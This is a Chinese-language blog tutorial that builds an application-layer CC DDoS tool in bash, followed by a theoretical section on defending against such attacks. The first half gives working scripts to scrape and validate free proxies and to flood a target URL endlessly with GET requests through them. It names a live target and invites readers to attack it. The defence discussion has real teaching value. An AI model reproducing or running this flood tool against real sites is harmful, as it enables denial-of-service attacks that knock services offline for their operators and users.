故上兵伐謀 其次伐交 其次伐兵 其下攻城 攻城之法 為不得已
知己知彼 百戰不殆 不知彼而知己 一勝一負 不知彼不知己 每戰必敗
——孫子兵法·謀攻
我們將要實現一個進行應用層DDoS攻擊的工具,綜合考慮,CC攻擊方式是最佳選擇,并用bash shell腳本來快速實現并驗證這一工具,并在最后,討論如何防御來自應用層的DDoS攻擊。
第一步:獲取大量可用代理ip:port列表
網上所處可見免費代理,我們使用http的GET方法抓取html文檔,接著使用正則過濾出我們需要的ip port對,然后逐一驗證各代理的可用性,最終得到可用的代理ip port對。
1 grab_PRoxy.sh
1 #!/bin/bash 2 3 #get proxy list 4 declare proxyListFile="proxy.txt" 5 declare tmpFile=`mktemp` 6 declare url 7 declare line 8 declare times 9 declare ip10 declare port11 declare i12 declare j13 declare mod14 15 function quit() {16 rm -f $tmpFile17 exit "$1"18 }19 20 echo "get proxy list... please wait..."21 22 if [ -r "$proxyListFile" ]23 then24 rm -f $proxyListFile25 fi26 27 touch $proxyListFile28 29 for url in " http://www.youdaili.cn/Daili/guonei/2215.html " /30 " http://www.youdaili.cn/Daili/guonei/2215_2.html" /31 " http://www.youdaili.cn/Daili/guonei/2215_3.html" /32 " http://www.youdaili.cn/Daili/guonei/2215_4.html "33 do34 if GET "$url" > $tmpFile35 then36 grep -oE '^.*<br />.*$' "$tmpFile" | grep -Eo "([0-9]+)(/.[0-9]+){3}:([0-9]+)" /37 | sort -n | uniq | awk -F: '{ printf("%-15s %s /n",$1,$2); }' >> $proxyListFile38 else39 exec 1>&240 echo "error: get proxy list fail! chech the url:$url or the network"41 quit 142 fi43 done44 45 echo "done. total `cat $proxyListFile | wc -l` proxy"46 47 quit 048 #exitView Code
參數:
declare proxyListFile="proxy.txt" #抓取到的代理ip port對所存放的文件路徑
1 check_proxy.sh
1 #!/bin/bash 2 3 #get proxy list 4 declare check_threads=10 5 declare line 6 declare times 7 declare ip 8 declare port 9 declare i10 declare j11 declare mod12 13 function quit() {14 exit "$1"15 }16 17 #echo "start check proxy's functionality..."18 19 #retarget the input file to stdin20 if [ "$#" -gt "0" ]21 then22 exec 0<$123 else24 exec 1>&225 echo "usage: bash $0 proxyListFile.txt"26 echo "error: must have one input arg"27 quit 128 fi29 30 #check proxy's functionality31 times=032 while read line33 do34 times=$((times+1))35 j=036 for i in `echo $line | tr ' ' '/n' | grep -E '^[^/s].*$'`37 do38 j=$((j+1))39 if [ "$j" -eq 1 ]40 then41 ip=$i42 else43 port=$i44 fi45 done46 #echo "times=$times ip=$ip port=$port"47 # start test48 if GET -t 5 -p "http://$ip:$port" "http://baidu.com" &>/dev/null49 then 50 echo "$ip $port"51 echo ":) ip=$ip port=$port " &>/dev/null52 else53 echo "invalid ip=$ip port=$port : please check ip:host or network" &>/proc/self/fd/254 fi &55 mod=$((times%check_threads))56 if [ "$mod" -eq "0" ]57 then58 wait59 fi60 done61 62 #close the fd of input file63 exec 0>&-64 quit 065 #exitView Code
參數:
declare check_threads=10 #驗證代理可用性時的并發數,看一下代碼就會發現,我們使用的是GEThttp://baidu.com方法,所以,并發數請不要也太高 :) 除非你的目標就是......
總結:應征入伍的士兵共計600人,經過考核的共計449人,如果你還想招募更多的士兵,奉勸一句,苦海無邊,回頭是岸。第二步:吹響戰爭號角
筆者在一臺VPS上建立了一個薄弱的靶機,各位讀者請不要太暴力,測試一下就可以了,地址http://eecs.cc:8080/
筆者把這么重要的信息都放出來了,讀者請點個贊吧 :)
1 cc.sh
1 #!/bin/bash 2 3 declare target_url="http://eecs.cc:8080/" 4 declare get_timeout_sec=5 5 declare line 6 declare times 7 declare ip 8 declare port 9 declare i10 declare j11 12 function quit() {13 exit "$1"14 }15 16 #retarget the input file to stdin17 if ! [ "$#" -gt "0" ]18 then19 exec 1>&220 echo "challenge collapsar attack -- cc attack"21 echo "usage: bash $0 proxyListFile.txt"22 echo "error: must have one input arg"23 quit 124 fi25 26 echo "report : total `cat $1 | wc -l` proxy-soldiers are ready for command"27 echo "command: target: $target_url"28 echo "command: start challenge collapsar attack :) amazing..."29 30 exec 0<$131 #start challenge collapsar attack32 33 while true34 do35 times=036 exec 0<&-37 exec 0<$138 while read line39 do40 times=$((times+1))41 j=042 for i in `echo $line | tr ' ' '/n' | grep -E '^[^/s].*$'`43 do44 j=$((j+1))45 if [ "$j" -eq 1 ]46 then47 ip=$i48 else49 port=$i50 fi51 done52 echo "times=$times ip=$ip port=$port"53 #single soldier attack54 if GET -t "$get_timeout_sec" -p "http://$ip:$port" "$target_url" &>/dev/null 55 then 56 echo "soldier$times attack $target_url :)"57 else58 echo "soldier$times attack $target_url miss"59 fi &60 done61 wait62 done63 64 #close the fd of input file65 exec 0>&-66 quit 067 #exitView Code
讀者可自行嘗試攻擊這個站點,然后使用瀏覽器訪問查看服務器網絡狀況,此時大量連接處于TIME_WAIT狀態,參考TCP狀態機,這一狀態為主動關閉一方的最終等待狀態。
請不要惡意攻擊別人的網站 如果因此被關了進去 沒有人能把你弄出來
應用層DDoS的防御理論:
問題模型描述:
每一個頁面,都有其資源消耗權重,靜態資源,權重較低,動態資源,權重較高。對于用戶訪問,有如下:
用戶資源使用頻率=使用的服務器總資源量/s
命題一:對于正常訪問的用戶,資源使用頻率必定位于一個合理的范圍,當然會存在大量正常用戶共享ip的情況,這就需要日常用戶訪問統計,以得到忠實用戶ip白名單。
命題二:資源使用頻率持續異常的,可斷定為訪問異常的用戶。
防御體系狀態機:
1.在系統各項資源非常寬裕時,向所有ip提供服務,每隔一段時間釋放一部分臨時黑名單中的ip成員;
2.在系統資源消耗達到某一閾值時,降低Syn包接受速率,循環:分析最近時間的日志,并將訪問異常的ip加入臨時黑名單;
3.若系統資源消耗慢慢回降至正常水平,則恢復Syn包接受速率,轉到狀態1;若目前策略并未有效地控制住系統資源消耗的增長,情況繼續惡劣至一極限閾值,轉到狀態4;
4.最終防御方案,使用忠實用戶ip白名單、異常訪問ip黑名單策略,其他訪問可慢慢放入,直到系統資源消耗回降至正常水平,轉到狀態1。
上述的防御狀態機,對于單個攻擊IP高并發的DDOS,變化到狀態3時,效果就完全體現出來了,但如果防御狀態機進行到4狀態,則有如下兩種可能:
1.站點遭到了攻擊群龐大的、單個IP低并發的DDOS攻擊;
2.站點突然間有了很多訪問正常的新用戶。
建議后續工作:
保守:站點應盡快進行服務能力升級。
積極:盡所能,追溯攻擊者。
追溯攻擊者: CC:proxy-forward-from-ip 單個IP高并發的DDOS:找到訪問異常的、高度可疑的ip列表,exploit,搜集、分析數據,因為一個傀儡主機可被二次攻占的概率很大(但不建議這種方法) 單個IP低并發的DDOS:以前極少訪問被攻擊站點,但是在攻擊發生時,卻頻繁訪問我們的站點,分析日志得到這一部分ip列表 追溯攻擊者的過程中,snat與web proxy增加了追蹤的難度,如果攻擊者采用多個中繼服務器的方法,追溯將變得極為困難。
防御者:
1.應對當前系統了如指掌,如系統最高負載、最高數據處理能力,以及系統防御體系的強項與弱點 2.歷史日志的保存、分析 3.對當前系統進行嚴格安全審計 4.上報公安相關部分,努力追溯攻擊者 5.網站,能靜態,就一定不要動態,可采取定時從主數據庫生成靜態頁面的方式,對需要訪問主數據庫的服務使用驗證機制
6.防御者應能從全局的角度,迅速及時地發現系統正在處于什么程度的攻擊、何種攻擊,在平時,應該建立起攻擊應急策略,規范化操作,免得在急中犯下低級錯誤
對歷史日志的分析這時將會非常重要,數據可視化與統計學的方法將會很有益處:
1.分析每個頁面的平均訪問頻率
2.對訪問頻率異常的頁面進行詳細分析 分析得到ip-頁面訪問頻率
3.得到對訪問異常頁面的訪問異常ip列表
4.對日志分析得到忠實用戶IP白名單
5.一般一個頁面會關聯多個資源,一次對于這樣的頁面訪問往往會同時增加多個資源的訪問數,而攻擊程序一般不會加載這些它不感興趣的資源,所以,這也是一個非常好的分析突破點
本文主要講述了DDoS攻擊之一的CC攻擊工具實現,以及如何防御來自應用層的DDoS攻擊的理論總結。接下來的文章,筆者將會實現一個工作于內核態的、具有黑名單功能的防火墻模塊,以對應于上述防御狀態機中的防火墻單元,它實現了自主地動態內存管理,使用hash表管理ip列表,并可以自定義hash表的modular。
如有問題或者建議,歡迎留言討論:)
附錄:
《DDoS攻防戰 (一) : 概述》
新聞熱點
疑難解答